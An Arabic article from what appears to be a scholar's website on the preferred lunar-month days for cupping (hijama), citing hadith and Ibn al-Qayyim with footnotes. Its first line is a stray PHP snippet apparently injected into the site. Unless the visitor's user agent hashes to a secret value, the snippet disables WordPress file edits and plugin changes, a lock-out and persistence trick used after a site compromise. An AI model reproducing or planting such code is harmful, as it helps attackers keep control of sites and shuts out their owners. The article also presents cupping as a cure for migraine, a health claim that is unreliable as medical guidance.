if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } أفضل وقت للحجامة - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

أفضل وقت للحجامة

ما الوقت المختار في الحجامة؟ وردت بعض الأحاديث التي تفيد بأن أفضل الحجامة ما يكون بعد النصف الثاني من الشهر الهجري القمري ويكون ذلك عقبه بقليل، في اليوم السابع عشر أو التاسع عشـر أو الحادي والعشرون، من ذلك ما جاء في حديث أنس بن مالك رضي الله عنه قال: «كان يحتجِمُ في الأخْدَعَيْنِ والكاهِلِ، وكان يحتجِمُ لسبْعَ عشرَةَ، وتسعَ عشرَةَ، وإحدى وعشـرينَ»[1] [الحديث رواه الترمذي وابن ماجة، وصححه الألباني] وعن ابن عباس رضي الله عنهما أن النبي صلى الله عليه وسلم قال: «إنَّ خيرَ ما تحتجمونَ فيه يومَ سبعَ عشرةَ وتسعَ عشرةَ ويومَ إحدى و عشـرينَ»[2] [الحديث رواه الترمذي وحسنه، وصححه الألباني]، قال العلامة ابن القيم رحمه الله بعد أن ذكر الحديثين السابقين: (وهذه الأحاديث موافقة لما أجمع عليه الأطباء أن الحجامة في النصف الثاني وما يليه من الربع الثالث من أرباعه أي أرباع الشهر أنفع من أوله وآخره، وإذا استُعملت عند الحاجة إليها نفعت أي وقت كان، من أول الشهر وآخره، قال الخلال: أخبرني عصمة بن عصام قال: حدثنا حنبل قال: كان أبو عبدالله أحمد بن حنبل يحتجم أي وقتٍ هاج به الدم وأي ساعة كانت)[3] [انتهى كلام ابن القيم في الطب النبوي] وذلك يدل على أمرين:

الأمر الأول: أن يرغب المسلم في الحجامة لتوقي الأمراض فيختار هذا الوقت النبوي، وهو أن تكون حجامته في آخر الشهر، في اليوم السابع عشـر أو التاسع عشـر أو الواحد والعشرين، هذا إذا كان يريدها تطبيقًا للسنة من جهة ودفعًا لأمراض لم يحتج إلى علاجها فيتحين هذا الوقت.

الأمر الثاني: لكن لو مرض واشتد مرضه ونُصح بالحجامة فإنه يحتجم في أي وقت كان، من أول الشهر أو وسطه أو آخره، هذا معنى كلام ابن القيم رحمه الله.

وعن ابن عباس رضي الله عنهما: «أن النبي صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ احْتَجَمَ وهو مُحْرِمٌ في رَأْسِهِ، مِن شَقِيقَةٍ كانَتْ بهِ»[4]، الشقيقة: مرض معروف، صداع يكاد يكون مزمنًا ومزعجًا لمن يُصاب به وقد أُصيب به صلوات ربي وسلامه عليه فاحتجم منه، وهذا يدل على أن الحجامة علاج لمرض الشقيقة الذي أعيا الأطباء، وحديث ابن عباس رواه البخاري.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (3860)، والترمذي (2051) واللفظ له، وابن ماجه (3483)، وأحمد (12191)، والحديث صححه السيوطي في الجامع الصغير (6989)، وصححه الألباني في تخريج مشكاة المصابيح (4472).

[2] أخرجه الترمذي (2053)، وأحمد في (1/354)، والحاكم في (4/453) باختلاف يسير، والحديث صححه الألباني في صحيح الجامع (2066).

[3] الطب النبوي (174-175).

[4] أخرجه البخاري (5701) معلقًا، ومسلم (1202) مختصرًا.